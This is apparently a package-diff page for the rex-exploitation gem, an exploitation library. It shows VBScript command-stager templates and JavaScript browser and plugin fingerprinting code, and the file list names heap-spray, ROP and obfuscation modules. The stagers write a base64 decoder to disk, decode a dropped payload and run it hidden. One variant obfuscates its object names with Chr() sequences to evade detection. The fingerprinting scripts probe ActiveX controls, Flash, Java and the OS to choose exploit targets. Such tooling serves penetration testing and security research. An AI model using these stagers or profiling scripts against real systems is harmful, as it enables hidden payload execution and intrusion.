rex-exploitation 0.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (69) hide show
  1. checksums.yaml +7 -0
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +1 -0
  4. data/.gitignore +9 -0
  5. data/.rspec +2 -0
  6. data/.travis.yml +5 -0
  7. data/CODE_OF_CONDUCT.md +74 -0
  8. data/Gemfile +4 -0
  9. data/README.md +33 -0
  10. data/Rakefile +6 -0
  11. data/bin/console +14 -0
  12. data/bin/setup +8 -0
  13. data/data/exploits/cmdstager/debug_asm +91 -0
  14. data/data/exploits/cmdstager/debug_write +819 -0
  15. data/data/exploits/cmdstager/vbs_b64 +40 -0
  16. data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
  17. data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
  18. data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
  19. data/data/js/detect/ie_addons.js +89 -0
  20. data/data/js/detect/misc_addons.js +157 -0
  21. data/data/js/detect/os.js +831 -0
  22. data/data/js/memory/explib2/lib/explib2.js +426 -0
  23. data/data/js/memory/explib2/payload/drop_exec.js +33 -0
  24. data/data/js/memory/explib2/payload/exec.js +10 -0
  25. data/data/js/memory/heap_spray.js +17 -0
  26. data/data/js/memory/heaplib2.js +192 -0
  27. data/data/js/memory/mstime_malloc.js +31 -0
  28. data/data/js/memory/property_spray.js +38 -0
  29. data/data/js/network/ajax_download.js +18 -0
  30. data/data/js/network/ajax_post.js +18 -0
  31. data/data/js/network/xhr_shim.js +15 -0
  32. data/data/js/utils/base64.js +126 -0
  33. data/data/ropdb/flash.xml +80 -0
  34. data/data/ropdb/hxds.xml +66 -0
  35. data/data/ropdb/java.xml +33 -0
  36. data/data/ropdb/msvcrt.xml +71 -0
  37. data/data/ropdb/reader.xml +132 -0
  38. data/data/ropdb/samba.xml +436 -0
  39. data/data/ropdb/stagefright.xml +225 -0
  40. data/lib/rex/exploitation.rb +7 -0
  41. data/lib/rex/exploitation/cmdstager.rb +11 -0
  42. data/lib/rex/exploitation/cmdstager/base.rb +189 -0
  43. data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
  44. data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
  45. data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
  46. data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
  47. data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
  48. data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
  49. data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
  50. data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
  51. data/lib/rex/exploitation/egghunter.rb +423 -0
  52. data/lib/rex/exploitation/encryptjs.rb +79 -0
  53. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  54. data/lib/rex/exploitation/heaplib.rb +107 -0
  55. data/lib/rex/exploitation/js.rb +6 -0
  56. data/lib/rex/exploitation/js/detect.rb +70 -0
  57. data/lib/rex/exploitation/js/memory.rb +80 -0
  58. data/lib/rex/exploitation/js/network.rb +83 -0
  59. data/lib/rex/exploitation/js/utils.rb +32 -0
  60. data/lib/rex/exploitation/jsobfu.rb +17 -0
  61. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  62. data/lib/rex/exploitation/omelet.rb +321 -0
  63. data/lib/rex/exploitation/opcodedb.rb +819 -0
  64. data/lib/rex/exploitation/ropdb.rb +190 -0
  65. data/lib/rex/exploitation/seh.rb +93 -0
  66. data/lib/rex/exploitation/version.rb +5 -0
  67. data/rex-exploitation.gemspec +35 -0
  68. metadata +298 -0
  69. metadata.gz.sig +0 -0
@@ -0,0 +1,40 @@
1
+ echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
2
+ echo Set file = fs.GetFile("ENCODED") >>decode_stub
3
+ echo If file.Size Then >>decode_stub
4
+ echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
5
+ echo data = fd.ReadAll >>decode_stub
6
+ echo data = Replace(data, vbCrLf, "") >>decode_stub
7
+ echo data = base64_decode(data) >>decode_stub
8
+ echo fd.Close >>decode_stub
9
+ echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
10
+ echo ofs.Write data >>decode_stub
11
+ echo ofs.close >>decode_stub
12
+ echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
13
+ echo shell.run "DECODED", 0, false >>decode_stub
14
+ echo Else >>decode_stub
15
+ echo Wscript.Echo "The file is empty." >>decode_stub
16
+ echo End If >>decode_stub
17
+ echo Function base64_decode(byVal strIn) >>decode_stub
18
+ echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
19
+ echo For n = 1 To Len(strIn) Step 4 >>decode_stub
20
+ echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
21
+ echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
22
+ echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
23
+ echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
24
+ echo If Not w2 Then _ >>decode_stub
25
+ echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
26
+ echo If Not w3 Then _ >>decode_stub
27
+ echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
28
+ echo If Not w4 Then _ >>decode_stub
29
+ echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
30
+ echo Next >>decode_stub
31
+ echo base64_decode = strOut >>decode_stub
32
+ echo End Function >>decode_stub
33
+ echo Function mimedecode(byVal strIn) >>decode_stub
34
+ echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
35
+ echo If Len(strIn) = 0 Then >>decode_stub
36
+ echo mimedecode = -1 : Exit Function >>decode_stub
37
+ echo Else >>decode_stub
38
+ echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
39
+ echo End If >>decode_stub
40
+ echo End Function >>decode_stub
@@ -0,0 +1,50 @@
1
+ echo Dim var_origLoc >>decode_stub
2
+ echo var_origLoc = SetLocale(1033) >>decode_stub
3
+ echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
4
+ echo Set file = fs.GetFile("ENCODED") >>decode_stub
5
+ echo If file.Size Then >>decode_stub
6
+ echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
7
+ echo data = fd.ReadAll >>decode_stub
8
+ echo data = Replace(data, vbCrLf, "") >>decode_stub
9
+ echo data = base64_decode(data) >>decode_stub
10
+ echo fd.Close >>decode_stub
11
+ echo Dim var_strmConv, var_writedir, var_writestream >>decode_stub
12
+ echo var_writedir = "DECODED" >>decode_stub
13
+ echo Set var_strmConv = CreateObject("ADODB.Stream") >>decode_stub
14
+ echo var_strmConv.Type = 2 >>decode_stub
15
+ echo var_strmConv.Charset = "x-ansi" >>decode_stub
16
+ echo var_strmConv.Open >>decode_stub
17
+ echo var_strmConv.WriteText data, 0 >>decode_stub
18
+ echo var_strmConv.Position = 0 >>decode_stub
19
+ echo var_strmConv.Type = 1 >>decode_stub
20
+ echo var_strmConv.SaveToFile var_writedir, 2 >>decode_stub
21
+ echo SetLocale(var_origLoc) >>decode_stub
22
+ echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
23
+ echo shell.run "DECODED", 0, false >>decode_stub
24
+ echo Else >>decode_stub
25
+ echo Wscript.Echo "The file is empty." >>decode_stub
26
+ echo End If >>decode_stub
27
+ echo Function base64_decode(byVal strIn) >>decode_stub
28
+ echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
29
+ echo For n = 1 To Len(strIn) Step 4 >>decode_stub
30
+ echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
31
+ echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
32
+ echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
33
+ echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
34
+ echo If Not w2 Then _ >>decode_stub
35
+ echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
36
+ echo If Not w3 Then _ >>decode_stub
37
+ echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
38
+ echo If Not w4 Then _ >>decode_stub
39
+ echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
40
+ echo Next >>decode_stub
41
+ echo base64_decode = strOut >>decode_stub
42
+ echo End Function >>decode_stub
43
+ echo Function mimedecode(byVal strIn) >>decode_stub
44
+ echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
45
+ echo If Len(strIn) = 0 Then >>decode_stub
46
+ echo mimedecode = -1 : Exit Function >>decode_stub
47
+ echo Else >>decode_stub
48
+ echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
49
+ echo End If >>decode_stub
50
+ echo End Function >>decode_stub
@@ -0,0 +1,49 @@
1
+ echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
2
+ echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
3
+ echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
4
+ echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
5
+ echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
6
+ echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
7
+ echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
8
+ echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
9
+ echo Set wshShell = CreateObject(scriptShell) >>decode_stub
10
+ echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
11
+ echo Set fs = CreateObject(scriptingFS) >>decode_stub
12
+ echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
13
+ echo If file.Size Then >>decode_stub
14
+ echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
15
+ echo data = fd.ReadAll >>decode_stub
16
+ echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
17
+ echo data = Replace(data, vbCrLf, nil) >>decode_stub
18
+ echo data = base64_decode(data) >>decode_stub
19
+ echo fd.Close >>decode_stub
20
+ echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
21
+ echo ofs.Write data >>decode_stub
22
+ echo ofs.close >>decode_stub
23
+ echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
24
+ echo Else >>decode_stub
25
+ echo Wscript.Echo emptyString >>decode_stub
26
+ echo End If >>decode_stub
27
+ echo Function base64_decode(byVal strIn) >>decode_stub
28
+ echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
29
+ echo For n = 1 To Len(strIn) Step 4 >>decode_stub
30
+ echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
31
+ echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
32
+ echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
33
+ echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
34
+ echo If Not w2 Then _ >>decode_stub
35
+ echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
36
+ echo If Not w3 Then _ >>decode_stub
37
+ echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
38
+ echo If Not w4 Then _ >>decode_stub
39
+ echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
40
+ echo Next >>decode_stub
41
+ echo base64_decode = strOut >>decode_stub
42
+ echo End Function >>decode_stub
43
+ echo Function mimedecode(byVal strIn) >>decode_stub
44
+ echo If Len(strIn) = 0 Then >>decode_stub
45
+ echo mimedecode = -1 : Exit Function >>decode_stub
46
+ echo Else >>decode_stub
47
+ echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
48
+ echo End If >>decode_stub
49
+ echo End Function >>decode_stub
@@ -0,0 +1,41 @@
1
+ echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
2
+ echo Set file = fs.GetFile("ENCODED") >>decode_stub
3
+ echo If file.Size Then >>decode_stub
4
+ echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
5
+ echo data = fd.ReadAll >>decode_stub
6
+ echo data = Replace(data, vbCrLf, "") >>decode_stub
7
+ echo data = base64_decode(data) >>decode_stub
8
+ echo fd.Close >>decode_stub
9
+ echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
10
+ echo ofs.Write data >>decode_stub
11
+ echo ofs.close >>decode_stub
12
+ echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
13
+ echo shell.run "DECODED", 0, false >>decode_stub
14
+ echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
15
+ echo Else >>decode_stub
16
+ echo Wscript.Echo "The file is empty." >>decode_stub
17
+ echo End If >>decode_stub
18
+ echo Function base64_decode(byVal strIn) >>decode_stub
19
+ echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
20
+ echo For n = 1 To Len(strIn) Step 4 >>decode_stub
21
+ echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
22
+ echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
23
+ echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
24
+ echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
25
+ echo If Not w2 Then _ >>decode_stub
26
+ echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
27
+ echo If Not w3 Then _ >>decode_stub
28
+ echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
29
+ echo If Not w4 Then _ >>decode_stub
30
+ echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
31
+ echo Next >>decode_stub
32
+ echo base64_decode = strOut >>decode_stub
33
+ echo End Function >>decode_stub
34
+ echo Function mimedecode(byVal strIn) >>decode_stub
35
+ echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
36
+ echo If Len(strIn) = 0 Then >>decode_stub
37
+ echo mimedecode = -1 : Exit Function >>decode_stub
38
+ echo Else >>decode_stub
39
+ echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
40
+ echo End If >>decode_stub
41
+ echo End Function >>decode_stub
@@ -0,0 +1,89 @@
1
+ var ie_addons_detect = { };
2
+
3
+ /**
4
+ * Returns true if this ActiveX is available, otherwise false.
5
+ * Grabbed this directly from browser_autopwn.rb
6
+ **/
7
+ ie_addons_detect.hasActiveX = function (axo_name, method) {
8
+ var axobj = null;
9
+ if (axo_name.substring(0,1) == String.fromCharCode(123)) {
10
+ axobj = document.createElement("object");
11
+ axobj.setAttribute("classid", "clsid:" + axo_name);
12
+ axobj.setAttribute("id", axo_name);
13
+ axobj.setAttribute("style", "visibility: hidden");
14
+ axobj.setAttribute("width", "0px");
15
+ axobj.setAttribute("height", "0px");
16
+ document.body.appendChild(axobj);
17
+ if (typeof(axobj[method]) == 'undefined') {
18
+ var attributes = 'id="' + axo_name + '"';
19
+ attributes += ' classid="clsid:' + axo_name + '"';
20
+ attributes += ' style="visibility: hidden"';
21
+ attributes += ' width="0px" height="0px"';
22
+ document.body.innerHTML += "<object " + attributes + "></object>";
23
+ axobj = document.getElementById(axo_name);
24
+ }
25
+ } else {
26
+ try {
27
+ axobj = new ActiveXObject(axo_name);
28
+ } catch(e) {
29
+ // If we can't build it with an object tag and we can't build it
30
+ // with ActiveXObject, it can't be built.
31
+ return false;
32
+ };
33
+ }
34
+ if (typeof(axobj[method]) != 'undefined') {
35
+ return true;
36
+ }
37
+
38
+ return false;
39
+ };
40
+
41
+ /**
42
+ * Returns the version of Microsoft Office. If not found, returns null.
43
+ **/
44
+ ie_addons_detect.getMsOfficeVersion = function () {
45
+ var version;
46
+ var types = new Array();
47
+ for (var i=1; i <= 5; i++) {
48
+ try {
49
+ types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString()));
50
+ }
51
+ catch (e) {
52
+ types[i-1] = null;
53
+ }
54
+ }
55
+
56
+ if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
57
+ types[3] == 'object' && types[4] == 'object')
58
+ {
59
+ version = "2012";
60
+ }
61
+ else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
62
+ types[3] == 'object' && types[4] == null)
63
+ {
64
+ version = "2010";
65
+ }
66
+ else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
67
+ types[3] == null && types[4] == null)
68
+ {
69
+ version = "2007";
70
+ }
71
+ else if (types[0] == 'object' && types[1] == 'object' && types[2] == null &&
72
+ types[3] == null && types[4] == null)
73
+ {
74
+ version = "2003";
75
+ }
76
+ else if (types[0] == 'object' && types[1] == null && types[2] == null &&
77
+ types[3] == null && types[4] == null)
78
+ {
79
+ // If run for the first time, you must manullay allow the "Microsoft Office XP"
80
+ // add-on to run. However, this prompt won't show because the ActiveXObject statement
81
+ // is wrapped in an exception handler.
82
+ version = "xp";
83
+ }
84
+ else {
85
+ version = null;
86
+ }
87
+
88
+ return version;
89
+ }
@@ -0,0 +1,157 @@
1
+ var misc_addons_detect = { };
2
+
3
+
4
+ /**
5
+ * Detects whether the browser supports Silverlight or not
6
+ **/
7
+ misc_addons_detect.hasSilverlight = function () {
8
+ var found = false;
9
+
10
+ //
11
+ // When on IE, we can use AgControl.AgControl to actually detect the version too.
12
+ // But this ability is specific to IE, so we fall back to just true/false response
13
+ //
14
+ try {
15
+ var ax = new ActiveXObject('AgControl.AgControl');
16
+ found = true;
17
+ } catch(e) {}
18
+
19
+ //
20
+ // ActiveX didn't get anything, try looking in MIMEs
21
+ //
22
+ if (!found) {
23
+ var mimes = window.navigator.mimeTypes;
24
+ for (var i=0; i < mimes.length; i++) {
25
+ if (/x\-silverlight/.test(mimes[i].type)) {
26
+ found = true;
27
+ break;
28
+ }
29
+ }
30
+ }
31
+
32
+ //
33
+ // MIMEs didn't work either. Try navigator.
34
+ //
35
+ if (!found) {
36
+ var count = navigator.plugins.length;
37
+ for (var i=0; i < count; i++) {
38
+ var pluginName = navigator.plugins[i].name;
39
+ if (/Silverlight Plug\-In/.test(pluginName)) {
40
+ found = true;
41
+ break;
42
+ }
43
+ }
44
+ }
45
+
46
+ return found;
47
+ }
48
+
49
+ /**
50
+ * Returns the Adobe Flash version
51
+ **/
52
+ misc_addons_detect.getFlashVersion = function () {
53
+ var foundVersion = null;
54
+
55
+ //
56
+ // Gets the Flash version by using the GetVariable function via ActiveX
57
+ //
58
+ try {
59
+ var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString();
60
+ foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.')
61
+ } catch (e) {}
62
+
63
+ //
64
+ // This should work fine for most non-IE browsers
65
+ //
66
+ if (foundVersion == null) {
67
+ var mimes = window.navigator.mimeTypes;
68
+ for (var i=0; i<mimes.length; i++) {
69
+ var pluginDesc = mimes[i].enabledPlugin.description.toString();
70
+ var m = pluginDesc.match(/Shockwave Flash [\d\.]+/g);
71
+ if (m != null) {
72
+ foundVersion = m[0].match(/\d.+/g)[0];
73
+ break;
74
+ }
75
+ }
76
+ }
77
+
78
+ //
79
+ // Detection for Windows + Firefox
80
+ //
81
+ if (foundVersion == null) {
82
+ var pluginsCount = navigator.plugins.length;
83
+ for (i=0; i < pluginsCount; i++) {
84
+ var pluginName = navigator.plugins[i].name;
85
+ var pluginVersion = navigator.plugins[i].version;
86
+ if (/Shockwave Flash/.test(pluginName) && pluginVersion != undefined) {
87
+ foundVersion = navigator.plugins[i].version;
88
+ break;
89
+ }
90
+ }
91
+ }
92
+
93
+ return foundVersion;
94
+ }
95
+
96
+ /**
97
+ * Returns the Java version
98
+ **/
99
+ misc_addons_detect.getJavaVersion = function () {
100
+ var foundVersion = null;
101
+
102
+ //
103
+ // This finds the Java version from Java WebStart's ActiveX control
104
+ // This is specific to Windows
105
+ //
106
+ for (var i1=0; i1 < 10; i1++) {
107
+ for (var i2=0; i2 < 10; i2++) {
108
+ for (var i3=0; i3 < 10; i3++) {
109
+ for (var i4=0; i4 < 10; i4++) {
110
+ var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4);
111
+ var progId = "JavaWebStart.isInstalled." + version;
112
+ try {
113
+ new ActiveXObject(progId);
114
+ return version;
115
+ }
116
+ catch (e) {
117
+ continue;
118
+ }
119
+ }}}}
120
+
121
+ //
122
+ // This finds the Java version from window.navigator.mimeTypes
123
+ // This seems to work pretty well for most browsers except for IE
124
+ //
125
+ if (foundVersion == null) {
126
+ var mimes = window.navigator.mimeTypes;
127
+ for (var i=0; i<mimes.length; i++) {
128
+ var m = /java.+;version=(.+)/.exec(mimes[i].type);
129
+ if (m) {
130
+ var version = parseFloat(m[1]);
131
+ if (version > foundVersion) {
132
+ foundVersion = version;
133
+ }
134
+ }
135
+ }
136
+ }
137
+
138
+ //
139
+ // This finds the Java version from navigator plugins
140
+ // This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
141
+ // So we do this last.
142
+ //
143
+ if (foundVersion == null) {
144
+ var foundJavaString = "";
145
+ var pluginsCount = navigator.plugins.length;
146
+ for (i=0; i < pluginsCount; i++) {
147
+ var pluginName = navigator.plugins[i].name;
148
+ var pluginVersion = navigator.plugins[i].version;
149
+ if (/Java/.test(pluginName) && pluginVersion != undefined) {
150
+ foundVersion = navigator.plugins[i].version;
151
+ break;
152
+ }
153
+ }
154
+ }
155
+
156
+ return foundVersion;
157
+ }
@@ -0,0 +1,831 @@
1
+ // Case matters, see lib/msf/core/constants.rb
2
+ // All of these should match up with constants in ::Msf::HttpClients
3
+ var clients_opera = "Opera";
4
+ var clients_ie = "MSIE";
5
+ var clients_ff = "Firefox";
6
+ var clients_chrome = "Chrome";
7
+ var clients_safari = "Safari";
8
+
9
+ // All of these should match up with constants in ::Msf::OperatingSystems
10
+ var oses_linux = "Linux";
11
+ var oses_android = "Android";
12
+ var oses_windows = "Windows";
13
+ var oses_mac_osx = "Mac OS X";
14
+ var oses_apple_ios = "iOS";
15
+ var oses_freebsd = "FreeBSD";
16
+ var oses_netbsd = "NetBSD";
17
+ var oses_openbsd = "OpenBSD";
18
+
19
+ // All of these should match up with the ARCH_* constants
20
+ var arch_armle = "armle";
21
+ var arch_x86 = "x86";
22
+ var arch_x86_64 = "x86_64";
23
+ var arch_ppc = "ppc";
24
+ var arch_mipsle = "mipsle";
25
+
26
+ var os_detect = {};
27
+
28
+ /**
29
+ * This can reliably detect browser versions for IE and Firefox even in the
30
+ * presence of a spoofed User-Agent. OS detection is more fragile and
31
+ * requires truthful navigator.appVersion and navigator.userAgent strings in
32
+ * order to be accurate for more than just IE on Windows.
33
+ **/
34
+ os_detect.getVersion = function(){
35
+ //Default values:
36
+ var os_name;
37
+ var os_vendor;
38
+ var os_device;
39
+ var os_flavor;
40
+ var os_sp;
41
+ var os_lang;
42
+ var ua_name;
43
+ var ua_version;
44
+ var arch = "";
45
+ var useragent = navigator.userAgent;
46
+ // Trust but verify...
47
+ var ua_is_lying = false;
48
+
49
+ var version = "";
50
+ var unknown_fingerprint = null;
51
+
52
+ var css_is_valid = function(prop, propCamelCase, css) {
53
+ if (!document.createElement) return false;
54
+ var d = document.createElement('div');
55
+ d.setAttribute('style', prop+": "+css+";")
56
+ return d.style[propCamelCase] === css;
57
+ }
58
+
59
+ var input_type_is_valid = function(input_type) {
60
+ if (!document.createElement) return false;
61
+ var input = document.createElement('input');
62
+ input.setAttribute('type', input_type);
63
+ return input.type == input_type;
64
+ }
65
+
66
+ //--
67
+ // Client
68
+ //--
69
+ if (window.opera) {
70
+ ua_name = clients_opera;
71
+ if (!navigator.userAgent.match(/Opera/)) {
72
+ ua_is_lying = true;
73
+ }
74
+ // This seems to be completely accurate, e.g. "9.21" is the return
75
+ // value of opera.version() when run on Opera 9.21
76
+ ua_version = opera.version();
77
+ if (!os_name) {
78
+ // The 'inconspicuous' argument is there to give us a real value on
79
+ // Opera 6 where, without it, the return value is supposedly
80
+ // 'Hm, were you only as smart as Bjorn Vermo...'
81
+ // though I have not verfied this claim.
82
+ switch (opera.buildNumber('inconspicuous')) {
83
+ case "344": // opera-9.0-20060616.1-static-qt.i386-en-344
84
+ case "1347": // Opera 9.80 / Ubuntu 10.10 (Karmic Koala)
85
+ case "2091": // opera-9.52-2091.gcc3-shared-qt3.i386.rpm
86
+ case "2444": // opera-9.60.gcc4-shared-qt3.i386.rpm
87
+ case "2474": // Opera 9.63 / Debian Testing (Lenny)
88
+ case "4102": // Opera 10.00 / Ubuntu 8.04 LTS (Hardy Heron)
89
+ case "6386": // 10.61
90
+ os_name = oses_linux;
91
+ break;
92
+ case "1074": // Opera 11.50 / Windows XP
93
+ case "1100": // Opera 11.52 / Windows XP
94
+ case "3445": // 10.61
95
+ case "3516": // Opera 10.63 / Windows XP
96
+ case "7730": // Opera 8.54 / Windows XP
97
+ case "8502": // "Opera 9 Eng Setup.exe"
98
+ case "8679": // "Opera_9.10_Eng_Setup.exe"
99
+ case "8771": // "Opera_9.20_Eng_Setup.exe"
100
+ case "8776": // "Opera_9.21_Eng_Setup.exe"
101
+ case "8801": // "Opera_9.22_Eng_Setup.exe"
102
+ case "10108": // "Opera_952_10108_en.exe"
103
+ case "10467": // "Opera_962_en_Setup.exe"
104
+ case "10476": // Opera 9.63 / Windows XP
105
+ case "WMD-50433": // Windows Mobile - "Mozilla/5.0 (Windows Mobile; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00"
106
+ os_name = oses_windows;
107
+ break;
108
+ case "2480": // Opera 9.64 / FreeBSD 7.0
109
+ os_name = oses_freebsd;
110
+ break;
111
+ case "6386": // 10.61
112
+ os_name = oses_mac_osx;
113
+ break;
114
+ case "1407":
115
+ // In the case of mini versions, the UA is quite a bit
116
+ // harder to spoof, so it's correspondingly easier to
117
+ // trust. Unfortunately, despite being fairly truthful in
118
+ // what OS it's running on, Opera mini seems to lie like a
119
+ // rug in regards to the browser version.
120
+ //
121
+ // iPhone, iOS 5.0.1
122
+ // Opera/9.80 (iPhone; Opera Mini/7.1.32694/27.1407; U; en) Presto/2.8.119 Version/11.10.10
123
+ // Android 2.3.6, opera mini 7.1
124
+ // Opera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/11.101.10
125
+ if (navigator.userAgent.indexOf("Android")) {
126
+ os_name = oses_android;
127
+ } else if (navigator.userAgent.indexOf("iPhone")) {
128
+ os_name = oses_apple_ios;
129
+ os_device = "iPhone";
130
+ }
131
+ break;
132
+ // A few are ambiguous, record them here
133
+ case "1250":
134
+ // Opera 9.80 / Windows XP
135
+ // Opera 11.61 / Windows XP
136
+ // Opera 11.61 / Debian 4.0 (Etch)
137
+ break;
138
+ default:
139
+ unknown_fingerprint = opera.buildNumber('inconspicuous');
140
+ break;
141
+ }
142
+ }
143
+ } else if (typeof window.onmousewheel != 'undefined' && ! (typeof ScriptEngineMajorVersion == 'function') ) { // IE 10 now has onmousewheel
144
+
145
+ // Then this is webkit, could be Safari or Chrome.
146
+ // Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1
147
+ // Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
148
+ // Mozilla/5.0 (Linux; U; Android 2.2; en-au; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
149
